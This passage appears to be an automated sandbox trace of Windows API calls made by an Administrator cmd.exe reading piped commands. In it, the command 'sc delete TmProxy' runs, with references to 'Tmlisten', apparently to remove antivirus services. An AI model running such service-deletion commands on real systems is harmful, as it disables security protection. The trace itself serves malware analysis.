cchWideChar=1 | out: lpWideCharStr="Tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.879] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.879] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.880] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="mlisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.880] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.880] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.880] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="Pisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.880] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.880] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.880] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="rsten\nnService\ne\n\n\nA\"\n") returned 1 [0068.880] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.880] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.880] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="oten\nnService\ne\n\n\nA\"\n") returned 1 [0068.880] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.880] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.880] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="xen\nnService\ne\n\n\nA\"\n") returned 1 [0068.880] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.880] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.880] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.880] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="yn\nnService\ne\n\n\nA\"\n") returned 1 [0068.880] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.880] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.880] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.881] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.881] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.881] GetFileType (hFile=0xb8) returned 0x3 [0068.881] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.881] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.881] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.881] GetFileType (hFile=0x120) returned 0x3 [0068.881] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TmProxy\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TmProxy\n", lpUsedDefaultChar=0x0) returned 19 [0068.881] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x12, lpOverlapped=0x0) returned 1 [0068.881] GetProcessHeap () returned 0x1b0000 [0068.881] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.881] GetProcessHeap () returned 0x1b0000 [0068.881] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.881] GetProcessHeap () returned 0x1b0000 [0068.881] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.881] GetProcessHeap () returned 0x1b0000 [0068.881] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.881] GetProcessHeap () returned 0x1b0000 [0068.881] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x30) returned 0x1c6510 [0068.881] GetConsoleOutputCP () returned 0x1b5 [0068.881] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.881] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.882] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.882] GetProcessHeap () returned 0x1b0000 [0068.882] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.882] GetProcessHeap () returned 0x1b0000 [0068.882] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x36) returned 0x1c6550 [0068.882] GetProcessHeap () returned 0x1b0000 [0068.882] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0068.882] SetErrorMode (uMode=0x0) returned 0x1 [0068.882] SetErrorMode (uMode=0x1) returned 0x0 [0068.882] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.882] SetErrorMode (uMode=0x1) returned 0x1 [0068.882] GetProcessHeap () returned 0x1b0000 [0068.883] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0068.883] GetProcessHeap () returned 0x1b0000 [0068.883] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0068.883] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.883] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.883] GetProcessHeap () returned 0x1b0000 [0068.883] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.883] GetProcessHeap () returned 0x1b0000 [0068.883] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.883] GetProcessHeap () returned 0x1b0000 [0068.883] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.883] GetProcessHeap () returned 0x1b0000 [0068.883] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.883] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.883] GetProcessHeap () returned 0x1b0000 [0068.883] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.883] GetProcessHeap () returned 0x1b0000 [0068.883] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.883] GetProcessHeap () returned 0x1b0000 [0068.883] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.883] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.883] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.883] GetLastError () returned 0x2 [0068.883] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.884] GetLastError () returned 0x2 [0068.884] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.884] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.884] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.884] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.884] GetLastError () returned 0x2 [0068.884] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.884] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.884] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.884] GetProcessHeap () returned 0x1b0000 [0068.884] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.884] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.884] GetProcessHeap () returned 0x1b0000 [0068.885] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x9c) returned 0x1c9180 [0068.885] GetProcessHeap () returned 0x1b0000 [0068.885] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x9c [0068.885] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TmProxy") returned 1 [0068.885] GetProcessHeap () returned 0x1b0000 [0068.885] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.885] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.885] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.885] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.885] GetProcessHeap () returned 0x1b0000 [0068.885] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.885] GetProcessHeap () returned 0x1b0000 [0068.885] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.885] GetProcessHeap () returned 0x1b0000 [0068.885] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.885] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TmProxy", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TmProxy", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete TmProxy", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x858, dwThreadId=0x878)) returned 1 [0068.889] CloseHandle (hObject=0x54) returned 1 [0068.889] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.889] GetProcessHeap () returned 0x1b0000 [0068.889] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0068.889] GetEnvironmentStringsW () returned 0x1d1b10* [0068.889] GetProcessHeap () returned 0x1b0000 [0068.889] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.889] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.889] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.890] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.890] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0068.939] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.939] CloseHandle (hObject=0x50) returned 1 [0068.939] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.939] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.939] GetProcessHeap () returned 0x1b0000 [0068.939] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.939] GetEnvironmentStringsW () returned 0x1d1b10* [0068.939] GetProcessHeap () returned 0x1b0000 [0068.939] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.939] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.939] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.939] GetProcessHeap () returned 0x1b0000 [0068.939] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.939] GetEnvironmentStringsW () returned 0x1d1b10* [0068.939] GetProcessHeap () returned 0x1b0000 [0068.940] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.940] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.940] GetProcessHeap () returned 0x1b0000 [0068.940] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.940] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.940] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.940] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.940] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.941] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.941] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.941] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.941] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.941] GetConsoleOutputCP () returned 0x1b5 [0068.941] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.941] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.942] GetProcessHeap () returned 0x1b0000 [0068.942] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.942] GetProcessHeap () returned 0x1b0000 [0068.942] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.942] GetProcessHeap () returned 0x1b0000 [0068.942] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.942] GetProcessHeap () returned 0x1b0000 [0068.942] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0068.942] GetProcessHeap () returned 0x1b0000 [0068.942] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0068.942] GetProcessHeap () returned 0x1b0000 [0068.942] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.942] GetProcessHeap () returned 0x1b0000 [0068.942] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0068.942] GetProcessHeap () returned 0x1b0000 [0068.942] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.942] GetProcessHeap () returned 0x1b0000 [0068.942] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.942] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.942] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.942] GetFileType (hFile=0x120) returned 0x3 [0068.942] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.942] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.943] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.943] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.943] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.943] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.943] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.943] GetFileType (hFile=0x120) returned 0x3 [0068.943] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.943] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.943] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.943] GetFileType (hFile=0xb8) returned 0x3 [0068.943] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.943] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.943] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.943] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.943] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.943] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.944] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.944] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.944] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.944] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.944] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.944] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.944] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.944] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.944] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.944] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete TmProxy\n\nnService\ne\n\n\nA\"\n") returned 1 [0068.944] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.944] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.944] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, 